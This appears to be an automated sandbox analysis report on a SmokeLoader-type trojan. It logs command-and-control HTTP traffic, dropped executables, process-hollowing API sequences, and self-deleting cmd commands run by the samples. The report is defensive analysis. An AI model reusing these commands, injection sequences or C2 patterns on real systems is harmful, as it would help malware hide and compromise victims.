Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128
Source: unknown	TCP traffic detected without corresponding DNS query: 91.243.44.128

Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"DivX Web Player","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"Facebook Video","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"Chrome PDF Viewer","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"Chrome PDF Plugin","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"Google Earth","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"Google Talk","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"IBMJava*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: m9https://www.facebook.com/chat/video/videocalldownload.php equals www.facebook.com (Facebook)

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ycifwuti.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 218Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 155.248.231.246:443 -> 192.168.2.3:49865 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 00000003.00000002.338228671.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.338186789.0000000002170000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.322844951.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386977371.0000000000521000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415364379.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.415203657.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.386920457.0000000000420000.00000004.00000001.sdmp, type: MEMORY

Source: H4HU4rg1NM.exe, 00000001.00000002.280811104.000000000072A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

PE file has nameless sections

Show sources

Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:
Source: A87C.exe.13.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_004E31FF
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_004E3253
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402A5F
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402AB3
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402A5F
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402AB3
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 17_2_004E3253
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 17_2_004E31FF
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402A5F
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402AB3
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402A5F
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402AB3
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_005B31FF
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_005B3253
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402A5F
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00410800
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00411280
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_01949458
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_01940470
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_01940462
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_033943F8
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_033911C8
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03395080
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_0339A0D0
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_033957F8
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03390550
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_0339AA08
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03392928
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03398970
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03396EE9
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03398D60
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_0339B2D8
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03396458
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_03398D52
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C1410
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C4FF8
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C7B28
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C0040
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C7857
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058C2A48
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 30_2_00C1EC28

Source: H4HU4rg1NM.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: H4HU4rg1NM.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7728.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7728.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8CA5.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 325D.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 325D.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4D1A.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4D1A.exe.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: iudbdfd.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: iudbdfd.13.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Section loaded: mscorjit.dll
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Section loaded: mscorjit.dll

Source: sqlite3[1].dll.25.dr	Static PE information: Number of sections : 19 > 10
Source: sqlite3.dll.25.dr	Static PE information: Number of sections : 19 > 10

Source: 56DF.exe.13.dr

Static PE information: Data appended to the last section found

Source: H4HU4rg1NM.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: String function: 004282F0 appears 93 times
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: String function: 00426910 appears 133 times
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: String function: 00426940 appears 133 times
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: String function: 00428320 appears 93 times
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: String function: 004048D0 appears 460 times

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_004E0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00401962 Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_0040196D Sleep,NtTerminateProcess,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00401A0B NtTerminateProcess,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402084 LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_2_00402491 NtOpenKey,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402084 LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 3_1_00402491 NtOpenKey,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 17_2_004E0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00401962 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_0040196D Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00401A0B NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402084 LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_2_00402491 NtOpenKey,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402084 LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 18_1_00402491 NtOpenKey,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_005B0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00401962 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_0040196D Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00401A0B NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402084 LocalAlloc,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 23_2_00402491 NtOpenKey,
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058FF7A0 NtAllocateVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Code function: 28_2_058FF6C0 NtUnmapViewOfSection,

Source: 56DF.exe.13.dr

Static PE information: No import functions for PE file found

Source: 7728.exe.13.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: A87C.exe.13.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: 8CA5.exe.13.dr	Static PE information: Section: DATA ZLIB complexity 0.999436515824
Source: A87C.exe.13.dr	Static PE information: Section: ZLIB complexity 1.00052083333
Source: A87C.exe.13.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: A87C.exe.13.dr	Static PE information: Section: ZLIB complexity 1.00306919643
Source: A87C.exe.13.dr	Static PE information: Section: .rsrc ZLIB complexity 0.999701433121

Source: H4HU4rg1NM.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\iudbdfd

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@35/33@65/16

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A87C.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: H4HU4rg1NM.exe	Virustotal: Detection: 33%
Source: H4HU4rg1NM.exe	ReversingLabs: Detection: 53%

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\H4HU4rg1NM.exe "C:\Users\user\Desktop\H4HU4rg1NM.exe"
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Process created: C:\Users\user\Desktop\H4HU4rg1NM.exe "C:\Users\user\Desktop\H4HU4rg1NM.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\iudbdfd C:\Users\user\AppData\Roaming\iudbdfd
Source: C:\Users\user\AppData\Roaming\iudbdfd	Process created: C:\Users\user\AppData\Roaming\iudbdfd C:\Users\user\AppData\Roaming\iudbdfd
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\325D.exe C:\Users\user\AppData\Local\Temp\325D.exe
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Process created: C:\Users\user\AppData\Local\Temp\325D.exe C:\Users\user\AppData\Local\Temp\325D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4D1A.exe C:\Users\user\AppData\Local\Temp\4D1A.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\110B.exe C:\Users\user\AppData\Local\Temp\110B.exe
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process created: C:\Users\user\AppData\Local\Temp\110B.exe C:\Users\user\AppData\Local\Temp\110B.exe
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7728.exe C:\Users\user\AppData\Local\Temp\7728.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\8CA5.exe C:\Users\user\AppData\Local\Temp\8CA5.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9B5C.exe C:\Users\user\AppData\Local\Temp\9B5C.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A87C.exe C:\Users\user\AppData\Local\Temp\A87C.exe
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process created: C:\Users\user\AppData\Local\Temp\9B5C.exe C:\Users\user\AppData\Local\Temp\9B5C.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C26E.exe C:\Users\user\AppData\Local\Temp\C26E.exe
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\8CA5.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Process created: C:\Users\user\Desktop\H4HU4rg1NM.exe "C:\Users\user\Desktop\H4HU4rg1NM.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\325D.exe C:\Users\user\AppData\Local\Temp\325D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4D1A.exe C:\Users\user\AppData\Local\Temp\4D1A.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\110B.exe C:\Users\user\AppData\Local\Temp\110B.exe
Source: C:\Users\user\AppData\Roaming\iudbdfd	Process created: C:\Users\user\AppData\Roaming\iudbdfd C:\Users\user\AppData\Roaming\iudbdfd
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Process created: C:\Users\user\AppData\Local\Temp\325D.exe C:\Users\user\AppData\Local\Temp\325D.exe
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\4D1A.exe" & exit
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Process created: C:\Users\user\AppData\Local\Temp\110B.exe C:\Users\user\AppData\Local\Temp\110B.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\8CA5.exe" & exit
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Process created: C:\Users\user\AppData\Local\Temp\9B5C.exe C:\Users\user\AppData\Local\Temp\9B5C.exe
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Source: C:\Users\user\AppData\Local\Temp\110B.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\325D.tmp

Jump to behavior

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Code function: 1_2_0041C7B7 GetTickCount,FreeUserPhysicalPages,GetCalendarInfoW,GetProfileStringA,SetLastError,GetSystemWow64DirectoryA,GetWindowsDirectoryW,GetCPInfoExW,GetDiskFreeSpaceExW,GetStartupInfoA,ReadConsoleOutputCharacterA,CreateNamedPipeW,GetProcessHeap,GetProcessHeap,GetPrivateProfileIntW,SetFileAttributesA,

Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: sqlite3[1].dll.25.dr, sqlite3.dll.25.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
